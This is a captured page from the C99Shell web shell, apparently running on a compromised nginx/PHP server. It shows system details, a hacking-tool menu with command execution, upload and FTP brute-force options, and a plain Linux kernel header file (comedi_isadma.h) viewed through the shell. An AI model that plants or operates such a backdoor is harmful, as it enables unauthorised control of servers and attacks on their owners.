!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-oracle-6.8-headers-6.8.0-1028/include/linux/comedi/   drwxr-xr-x
Free 83.32 GB of 96.73 GB (86.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     comedi_isadma.h (2.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0+ */
/*
 * COMEDI ISA DMA support functions
 * Copyright (c) 2014 H Hartley Sweeten <[email protected]>
 */

#ifndef _COMEDI_ISADMA_H
#define _COMEDI_ISADMA_H

#include <linux/types.h>

struct comedi_device;
struct device;

/*
 * These are used to avoid issues when <asm/dma.h> and the DMA_MODE_
 * defines are not available.
 */
#define COMEDI_ISADMA_READ    0
#define COMEDI_ISADMA_WRITE    1

/**
 * struct comedi_isadma_desc - cookie for ISA DMA
 * @virt_addr:    virtual address of buffer
 * @hw_addr:    hardware (bus) address of buffer
 * @chan:    DMA channel
 * @maxsize:    allocated size of buffer (in bytes)
 * @size:    transfer size (in bytes)
 * @mode:    DMA_MODE_READ or DMA_MODE_WRITE
 */
struct comedi_isadma_desc {
    void *virt_addr;
    dma_addr_t hw_addr;
    unsigned int chan;
    unsigned int maxsize;
    unsigned int size;
    char mode;
};

/**
 * struct comedi_isadma - ISA DMA data
 * @dev:    device to allocate non-coherent memory for
 * @desc:    cookie for each DMA buffer
 * @n_desc:    the number of cookies
 * @cur_dma:    the current cookie in use
 * @chan:    the first DMA channel requested
 * @chan2:    the second DMA channel requested
 */
struct comedi_isadma {
    struct device *dev;
    struct comedi_isadma_desc *desc;
    int n_desc;
    int cur_dma;
    unsigned int chan;
    unsigned int chan2;
};

#if IS_ENABLED(CONFIG_ISA_DMA_API)

void comedi_isadma_program(struct comedi_isadma_desc *desc);
unsigned int comedi_isadma_disable(unsigned int dma_chan);
unsigned int comedi_isadma_disable_on_sample(unsigned int dma_chan,
                         unsigned int size);
unsigned int comedi_isadma_poll(struct comedi_isadma *dma);
void comedi_isadma_set_mode(struct comedi_isadma_desc *desc, char dma_dir);

struct comedi_isadma *comedi_isadma_alloc(struct comedi_device *dev,
                      int n_desc, unsigned int dma_chan1,
                      unsigned int dma_chan2,
                      unsigned int maxsize, char dma_dir);
void comedi_isadma_free(struct comedi_isadma *dma);

#else    /* !IS_ENABLED(CONFIG_ISA_DMA_API) */

static inline void comedi_isadma_program(struct comedi_isadma_desc *desc)
{
}

static inline unsigned int comedi_isadma_disable(unsigned int dma_chan)
{
    return 0;
}

static inline unsigned int
comedi_isadma_disable_on_sample(unsigned int dma_chan, unsigned int size)
{
    return 0;
}

static inline unsigned int comedi_isadma_poll(struct comedi_isadma *dma)
{
    return 0;
}

static inline void comedi_isadma_set_mode(struct comedi_isadma_desc *desc,
                      char dma_dir)
{
}

static inline struct comedi_isadma *
comedi_isadma_alloc(struct comedi_device *dev, int n_desc,
            unsigned int dma_chan1, unsigned int dma_chan2,
            unsigned int maxsize, char dma_dir)
{
    return NULL;
}

static inline void comedi_isadma_free(struct comedi_isadma *dma)
{
}

#endif    /* !IS_ENABLED(CONFIG_ISA_DMA_API) */

#endif    /* #ifndef _COMEDI_ISADMA_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0045 ]--